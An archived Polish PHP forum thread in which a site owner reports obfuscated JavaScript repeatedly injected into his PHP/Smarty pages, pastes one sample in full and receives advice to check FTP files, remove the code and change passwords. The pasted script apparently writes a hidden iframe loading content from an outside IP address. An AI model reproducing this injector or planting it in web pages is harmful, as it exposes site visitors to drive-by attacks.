Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [PHP][HTML]Krzaki, virusy, pomocy
Forum PHP.pl > Forum > Przedszkole
Stef@n
Witam a wręcz błagam wszystkich o pomoc.
Od 3 dni na moich 2 stronach (napisane PHP i Smarty) są dopisywane jakieś dziwne kody na początku lub na końcu strony. Co je usunę to one po jakimś czasie wracają...
Dochodzę do wniosku ze mam jakiegoś syfa na swoim kompie i to on coś świruje mi na ftp. No ale np. wczoraj komp był wyłączony a wpis się dopisał. Przeskanowałem całego kompa Nod32, Mksvir online, Spybotem i tylko Spybot wykrył 3 pliczki usunąłem... ale czy to pomoże?

Błagam was jeśli ktoś miał podobny problem to proszę o pomoc!

Podaje przykładowe dwa kody tych wpisów:
  1. <!-- ad --><script>osoem=(4e0,190);
  2. johbc=(9e0,1909);
  3. arnrb=(65.,""+"a"+"m"+"e");
  4. vpkgs=(0x826," ");
  5. oymzl=(1.89e2<=656?"":5.);
  6. oozuk=(0x44>6?"17":2.934e3);
  7. aivuk=(4e0,""+".");
  8. rjreh=(5.4e1>0.3?"":.5);
  9. mnswd=(414>6.17e3?70.:"9");
  10. zlits=(5.5e1>1.5e1?".":46.);
  11. wlpwa=(9,"93");
  12. dmdcw=(1e1<.6495?278.:"las");
  13. bthvu=(0.900,"r");
  14. xwjcg=(0x4,"yl");
  15. wxvoe=(0.64<=0.1?.9:""+"i"+"s"+"");
  16. wafzv=(646>8.39e2?9518:"i");
  17. jfazq=(0x685>=8e1?""+"b"+"i"+"l"+"":4.3e1);
  18. ernzk=(.840>=2.?53.:"i"+"t"+"y"+"");
  19. yfnul=(8.51e2,":");
  20. skxws=(.448,"");
  21. vyrje=(0x6,"<");
  22. kylrc=(59,"/i");
  23. zllcn=(8483,""+"a"+"");
  24. oxynx=(9.6e1,""+"m"+"e"+"");
  25. elbis=(0x66<2002?"r":0x547);
  26. slnat=(7.07e2,"");
  27. onlvz=(9e0<0x54?"='":58);
  28. bljji=(6.,"ht");
  29. oowax=(9.3e1<=4?835.:"tp");
  30. vafut=(93>634.?6157.:":/");
  31. hswsd=(.3>=6.?33.:"");
  32. bwtwu=(0.9,"o");
  33. efesv=(0.8,"/");
  34. nczim=(8166>=3.495e3?"=":0.7);
  35. kkkka=(0x93,"2");
  36. btqpy=(.6," ");
  37. yxjvl=(9.,""+"");
  38. myfsk=(7,"");
  39. qcevo=(0x2<.350?.4:"h");
  40. lmiph=(.1055>=0.92?0.8:"i");
  41. fgjfd=(329,"d");
  42. onjpi=(9.84e2<=854.?0.7687:"e");
  43. ypdfc=(0.65<=42.?" "+"":.8318);
  44. claug=(0x3590,">");
  45. lpcpn=(7.7e1,"");
  46. nhbvb=(2,""+">");
  47. flrft=(0x9,5);
  48. irhwk=((93<=9893?.711:3)<=(0.9>=9.4e1?.569:3.692e3)?(.3<=1.2e1?osoem:2.21e2):(4.>.3?.6:0.31));
  49. fyatw=((973.,0.5e1)<(3928.,.7689)?(5<=.532?.696:2e0):(5e0,johbc));
  50. nwyro=((7e0>=8.?3869.:0x2),(5.91e2>=0.957e3?0x2110:arnrb)+(0.5e1,vpkgs)+(.830>=9.8e1?.533:oymzl));
  51. xwuua=((7e0>=82.?.9357:7.),(1983.>=20.?"85"+"."+"":8352)+(6.35e2<0x2?0x83:oozuk)+(1.2e1>0x4843?56:aivuk));
  52. kzxos=((.3727,5.06e2),(.727,rjreh)+(91,"1"+"3")+(6849.,mnswd)+(15.,zlits)+(4>.336?""+"1"+"":.2)+(0.68,wlpwa)+(.79,"/")+(.136,dmdcw)+(0x4<.5?.4:"the")+(6,bthvu)+(2.,""));
  53. kxotj=((3.08e2,0.7310),(0x2,xwjcg)+(7e0<=7.269e3?"e=":5.106e3)+(2.,""+"'"+"v"+"")+(0x4<6e0?wxvoe:0x7616)+(.9511<=0x5251?wafzv:0.1902)+(2.807e3>2.1e1?jfazq:0x2)+(5588.>=2.?ernzk:8.11e2)+(781>=0.2435?yfnul:67)+(.82,skxws));
  54. xynhe=((.58,1.266e3),(33>0x32?0x4312:vyrje)+(.6084<=957?kylrc:0x2769)+(0.63,"fr")+(2e0,zllcn)+(6.,oxynx)+(426,""));
  55.  
  56. aaa=(((61>=0.7?4870:178)>=(3.78e2>=0x5?7.709e3:6.427e3)?(0x1985,9389):(6e0,.825)),((0.229e3>=69.?4.562e3:3132)<=(66<=0x3?7e0:0x229)?(5217.,5e0):(376.>7.86e2?6.5e1:document)))[(((.82,0x6)<=(8130,.7246)?(4.7e1<.551?2:0.991):(0x9688>=781.?0.31:5.04e2)),((7.1e1>=.1?.29:3.8e2),(382,"w")+(9865>=.2?elbis:13)+(.152>=0x452?0.363:""+"it"+"")+(5.<=8.1e1?"e":0x35)))]((((.6209,6193.),(1.2e1>=9?irhwk:2.89e2))<((.70,.768)>(5.>=.8447?0x27:681.)?(9870,96.):(454,fyatw))?((0x5<7852?.16:0.4)<=(1e0>1.173e3?0x9967:.3)?(0.3,"<ifr"):(.812<27.?58:1e0))+((53.<=29.?1194.:0x9563),(0x961,nwyro))+((1631>88?0x578:7e1)>=(79>=.44?0x107:6.07e2)?(.6,slnat)+(5.94e2,""+"s"+"")+(7.21e3>5e0?""+"r"+"c"+"":0.509e3)+(84.<=185.?onlvz:193)+(.202,bljji)+(5.6e2<3365.?oowax:1.8e1)+(338.<738.?vafut:0.5e1)+(0.1e1>=.21?"/":9e0)+(4.5e3>=1?hswsd:.573):(.3<.272?60.:0.1))+((0x6,7.5e1),(986.<=36.?6.3e1:xwuua))+((256>=57.?.89:8e0),(13.>0x7643?216.:kzxos))+((0.183>1?.20:.5705)<=(27>=3e0?.909:39)?(6506.,"")+(.794>=0.2?bwtwu:0x66)+(.39,"1")+(3.03e3,efesv)+(7.2e1>=0x79?0.202:"?")+(0x83,"t")+(0.3e1,nczim)+(1538.<=228.?0.9e1:kkkka)+(0.768>374.?348.:"'")+(1606.,btqpy)+(7.212e3,"s")+(0x8619,"t")+(3.>0x2864?8957:yxjvl):(.756>1221.?932:6.672e3))+((653.,8.07e2)>=(.95<2.4e1?4e0:554)?(0x6291,kxotj):(4.9e1,9.))+((263<6.423e3?53.:8.24e2),(4>=0.13?myfsk:.6)+(238<0.6?0x37:qcevo)+(.984>=0x2261?2.052e3:lmiph)+(.94,"d")+(7.845e3>=5?fgjfd:.294)+(4e0,onjpi)+(4872.,"n")+(0.3754>.4?533:"'"+"")+(0.794e3>9487.?4.8e1:ypdfc)+(5374.,claug)+(5.9e1,lpcpn))+((0.90,408.),(0x2<=5.041e3?xynhe:0x3))+((2.<1.328e3?377.:8e0)<(2.58e2,1e0)?(0x826<.4?0x436:.1):(4.2e1<8?0.88e2:nhbvb)):((5901>=.8159?flrft:9e0),(.4,8.933e3))));
  57. </script><!-- /ad -->
webdevil
było już o tym parę razy na forum - pierwsze co zrób to sprawdź pliki na ftp - czy nie ma żadnych dodatkowych, usuń krzaczki i zmień hasło do ftp.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.